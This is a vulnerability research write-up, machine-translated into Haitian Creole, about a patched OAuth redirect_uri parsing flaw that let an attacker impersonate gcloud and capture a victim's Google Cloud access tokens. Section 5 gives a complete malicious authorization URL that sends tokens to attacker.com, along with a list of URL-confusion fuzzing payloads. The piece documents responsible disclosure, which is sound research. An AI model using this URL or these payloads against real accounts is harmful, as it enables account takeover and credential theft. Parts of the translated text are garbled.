TL;DR

Paj sa a pase nan yon inik OAuth kont ranfòse mwen te dènyèman detekte ki afekte plizyè sèvis Google. Li rezilta nan URL parse konfòsan lè fè fas akredirect_uriPwopriyete OAuth. Sòti a pèmèt atakè yo fè fasin aplikasyon legitim tankou Google Cloud SDK kliyan ak rale token a aksè nan yon sèvè kontwole pa atakè ki pèmèt yon aksè backdoor nan kont la victim - ak prèske nòt vizibilite pou victim la.

Note:Premye kat seksyon yo kouvri background jeneral sou OAuth, risk lekòl token, ak URL parse konfuzyon. Si ou se deja konesans ak konsèp sa yo, santi yo lib yo jwi dirèkteman nanSection 5: Google Cloud Account Takeover Case.

1. Entwodiksyon

OAuth 2.0 pèmèt aplikasyon twazyèm-pati pou aksè nan done itilizatè san yo pa trete senp nan dirèkteman pa gen yon sèvè otorizasyon (pou egzanp, Google) kreye yon token pou itilize pa aplikasyon an twazyèm-pati pou mande done itilizatè oswa fè aksyon nan non yo.

Men, si yoredirect_urise paramèt la pa valide ak presizyon chiriji, atakè ka figi aplikasyon konfyans ak trikote itilizatè yo nan lekti token aksè yo.

Nan atik sa a, mwen pral ale nan ki jan yon mank nan analize URL subtile pèmèt m 'te fè menm bagay la - atravè plizyè sèvis Google - ak yon plonje profond nan ka a Google Cloud.

2. Ki jan OAuth travay

Malgre ke OAuth se yon pwotokòl byen konplèks ki merite yon seri atik yo konplètman konprann, isit la se yon konvèsasyon senp:

1. Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).

2. Redirect with Grant: After approval, the server redirects the user back to a predefined redirect_uri with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token).

3. Request user data: The client app uses the token to access the user’s protected data from the resource server.

   
   

Pou vizualize bagay yo, dyagram la pi senp anba a montre m 'konekte nan Mwayen lè l sèvi avèk kont Google m ':

Note:Nan anpil ka, sèvè otorizasyon ak sèvè resous yo menm.

3. OAuth Token lekòl

Si ou gade nan dyagram la pi wo a, pati a ki pi enkyetid se etap la 5, kote sèvè a otorizasyon an voye token la ki te kreye tounen nan aplikasyon an kliyan. Sa a etap depann sou yon paramèt URL releredirect_uriPou konnen ki kote yo voye token an.

Si paramèt sa a se pa valide kòrèkteman, yon atakè ka figi aplikasyon kliyan an (pou egzanp, Medium) ak trikote sèvè a otorizasyon nan voye yo token aksè a itilizatè a - menm si, soti nan perspektè a itilizatè a, tout sanble legal. Sa a pèmèt atakè a pran kont la nan itilizatè a.

tipik nan,redirect_urise valide nan yon gwosè - ou pa ka jis lanse nenpòt URL random nan sèvè a otorizasyon. Sepandan, metòd validasyon varye atravè implemantasyon depann sou bezwen biznis, ak defè nan pwosesis sa a ka eksplike.

Yon kèk modèl komen:

• Strict Matching: Konpatibilite egzak nan string ak yon URI pre-registre.
• Wildcard oswa Path Prefix Matching: Pèmèt URIs tankou https://example.com/* oswa https://*.example.com.
• Loopback Adrès: Fòmèl nan aplikasyon Desktop, kote yon serveur lokal trete redirect la.

4. URL parse konfuzyon

DapreRFC 3986 nan, yon URL estanda gen estrikti sa a:

scheme://username:password@host:port/path?query#fragment

Chak eleman jwe yon wòl espesifik:

• scheme: in web context it’s usually the protocol (e.g., http)

• username:password: user credentials

• host: the domain or IP address (e.g., google.com)

• port: optional port number (e.g., 443)

• path: the specific resource or endpoint (e.g., /login)

• query: key-value pairs of parameters

• fragment: a client side page reference

  
  

Note: host:portLi se rele kòmauthority, username:passwordyo rele kòmuserinfo

Nan yon premye gade, sa a sanble senp - men subtile diferans parse ka rive, espesyalman lè ranplase kantite ka. Sa yo inkonsistan ka eksplike pou atak tankou bypass valizyon oswa kontwole demann atravè pwotokòl.

Devlopè yo ta ka asume ke yon URL se analize nan yon fason konsistan, estanda nan tout bibliyotèk, sepandan, rechèch extensif sou parseurs URL te pwouve totalman kontrèman a. Sa a vin yon reyèl pwoblèm sekirite nan konteks sensitif tankou:

• OAuth redirect URI validation

• SSRF prevention

• Proxy or CDN routing

  
  

Isit la se yon egzanp kote yon sèl URL se trete diferan nan twa parseurs diferan

Malgre ke atik sa a pa pral plonje fondamantalman nan URL parse atak konfuzyon, yo se byen eksplore nan 2017 Black Hat papyeYon nouvo epòk nan SSRF - Eksploze URL Parser nan lang pwogramasyon tendans

5. Google Cloud Kont Takeover ka

Si ou te janm itilize Google Cloud anvan, ou ta ka jwenn kegcloudCLI sèvis piblik — yon zouti fòs liy lòd itilize pou jesyon Google Cloud resous. Anplis de karakteristik, li pèmèt itilizatè yo autentike lè l sèvi avèk kont Google yo nan yon navigatè ki baze sou OAuth flux.

Isit la se ki jan li travay:

1. The user runs gcloud auth login

2. gcloud spawns a local http server on a dynamic port (e.g., http://localhost:50000)

3. gcloud opens a browser window directing the user to a Google OAuth authorization URL with redirect_uri set to the local server address

4. The user authenticates and consents to the requested scopes

5. Google redirects the user to redirect_uri containing the authorization code

6. gcloud exchanges the authorization code for an access token

7. gcloud uses the access token to perform actions on the user’s Google cloud account

   
   

Pou travay sa a flux, Google konfyans sèten URL loopback (pou egzanp, http://localhost) pou aplikasyon natif natal, paske sa yo konsidere ase san danje pou itilize lokal ak yo list blan internman.

A. Identification nan atak sifas

Apre wè yonlocalhostyo itilize kòmredirect_uri, instinct mwen an premye te ranplase li ak127.0.0.1ak[::1]sa a se yon etap enpòtan paske li konfime ke URL yo se reyèlman analize ak konpare enteryèman, olye de gen kèk tcheke prensipal tankou:

if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
    return False

Se konsa, isit la nou gen de bagay enpòtan sou:

1. The provided redirect_uri gets parsed and validated internally by Google’s backend.

2. After a successful login and user consent, users get redirected to redirect_uri in the browser.

   
   

Li vle di nou gen de parseurs URL nan plas, youn ki itilize pa backend Google a, ak parseur a itilize pa navigatè nou an (Chrome nan ka m '), se konsa si sa yo de parseurs yo identik, nenpòt inkonsistans ant yo ka eksplike pou koule otorizasyon OAuth nan yon sèvè kontwole pa atakè.

Objektif la se kounye a klè, nou bezwen kreye yon URL ki parse diferan ant de parseurs, nan yon fason ke nou trick Google a backend parseur parse li kòm yon adrès loopback, pandan ke Chrome a parse li kòm yon adrès entènèt mondyal.

Fakti ke nou gen yon konesans trè limit sou backend Google a ak ki library yo itilize internèlman pou analize URLs, vle di ke nou sèlman rete ak abord la Blackbox.

B. Fuzzing pou genyen

Ki sa mwen te fè apre yo te ekri yon script Python ki pral mutasyon URL diferan pa aplike varyete trik kodaj, notasyon altènatif, ak kantite ka yo wè ki moun te pase valizyon backend nan Google men yo te entèprete diferan pa Chrome, script la te itilize plizyè trik tankou:

• Reprezantasyon IP alterne: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
• Adrès IP prive: 10.0.0.5, 192.168.5.3, 127.10.0.1
• Different systèmes: file://, ldap://, ftp://, javascript://, done://
• Injection nan CRLF: %0D%0A
• Hostname/IP kòm enfòmasyon itilizatè: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
• trè long URLs: http://AAAAAA...@127.0.0.1
• DNS suffiks nan: 127.0.0.1.attacker.com
• URL malformé: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
• Query/Fragment enjections: Enjecte ekstra ? , & oswa # anvan / apre @
• DNS rebinding (teste manuèlman)

Apre kouri skript la pou yon tan, ak pou surprizo m ', youn nan ka yo kantite ki te kreye te kapab desann diskontinans egzakteman mwen te chèche, reaksi mwen te tankou:

ka edge siksè te jwenn te:

http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/

ki ka enkli plis nan:

http://[::1]@[::1]@attacker.com/

Lè nou eseye analize URL sa a lè l sèvi avèk Chrome, nou jwenn rezilta sa a:

Yon pati enteresan souhttp://[::1]@[::1]@attacker.com/se ke li se yon malformed URL yo kòmanse ak.@karakteristik se resevwa yo separeuserinfosoti nanhostname, epi li ta dwe sèlman parèt yon fwa nan yon URL valab. Chrome diminye ka a kantite pa enkode tout karaktè ki pa resève, osi byen ke aparans anvan yo nan karaktè resève, epi sèvi ak sèlman dènye a@kòm delimiter. Sa a asire ke nenpòt ki@anvan dènye a se URL-kode.

Nan kontrè, ki baze sou tès eksperyans ak varyasyon pèfòmans, li parèt ke analizè backend nan Google pa kode kòrèkteman aparans anvan yo nan karaktè resève epi li te itilize premye aparans nan@kòm delimitè a. Apre divize sou@Se konsa, parseur a ka ekstrèuserinfoakhostnamesoti nan pozisyon fixe, konplètman ignore trailing laattacker.com.

Li enpòtan yo note ke sa a konpòtman te desann sèlman lè l sèvi avèk IPv6. Lè l sèvi avèk IPv4 (pou egzanp,http://127.0.0.1@127.0.0.1@attacker.com) li te travay kòm te espere, ki montre ke inkonsistans la te espesifik pou IPv6 parse logik.

C. mete li tout ansanm

Koulye a, vektè a nan atak nou an vin klè, nou ka figigcloudcli zouti ak trick yon itilizatè pou autentike panse yo se autentike nangcloud.

Atak la devlope tankou sa a:

1. Kreye yon demann otorizasyon OAuth malware ak voye lyen li (blòk kòd anba a) nan victime a
2. Victim se prezante ak yon kontni OAuth autentifikasyon konplètman legitime pou kliyan Google Cloud SDK (Figure 9)
3. Victim log ak konsakre sou otorizasyon yo ki lis (sòf)
4. Victim la redirection nan òdinatè malware nou an, ak otorizasyon OAuth yo te kreye
5. Nou itilize OAuth grant fè apèl API sou kont la nan victim nan non yo

https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256

Isit la se yon vizyalizasyon nan pwopoze a atak flux

Soti nan perspektif la nan itilizatè a, li pral sanble ke yo autentike nangcloud, menm pou Google sèvè otorizasyon, li pral sanble ke itilizatè a ap eseye autentifikasyon nangcloud, se konsa nou efikasman trikote tou de pati a nan otantifikasyon nan panse li se yon pwosesis otantifikasyon legal pandan y ap token a aksè final la se koule nan òdinatè a malware nou an.

Token aksè lekòl la pral efikasman ba nou aksè san limit sou kont victim, ki pèmèt nou fè menm aksyon trè privilege.

Ki sa ki fè atak sa a menm pi enpòtan se:

1. Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.

2. Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal gcloud application might request (we can only request scopes that are available but not actively requested)

   
   

Kòm te di nan kòmansman an nan atik sa a,gcloudse sèlman yon aplikasyon vulnerable, anba a se kèk aplikasyon lòt ki mwen te jwenn yo dwe vulnerable tou:

• Google Drive Desktop Client

• Firebase Desktop Client

• Windows Mail (3rd-party app)

  
  

Google te reponn byen vit, rekonèt gravite a nan 72 èdtan, ak bay yon bonis segondè gravite.

6. Konklizyon

Sa a rechèch montre ki jan yon diskresyon nan parse URL subtile ka ranfòse konplètman sekirite a nan yon kontni autentifikasyon tout antye ki re-etabli nan aplikasyon diferan ak sèvis, menm lè implemented pa yon konpayi tankou matirite ak sekirite-conscious tankou Google. Pa exploiting diferans ant ki jan URL yo entèprete pa diferan parseurs, nou te kapab kreye malware redirect URIs ki rale token aksè nan sèvè kontwole pa atakè - ki mennen nan senaryo konplè sou kont.

Malgre ke OAuth se yon pwotokòl matirite ak byen etidye, sekirite li depann anpil sou detay enplomasyon ti kras ki varye ant platfòm, bibliyotèk, ak anviwònman yo. Li se yon remake ke nan sekirite, presizyon enpòtan: menm ti kras inkonsistans ant konpozan ka ase fèmen presizyon konfyans kritik.

Google te kounye a patch kwasans la apre piblisite responsab.

Mèsi pou lekti!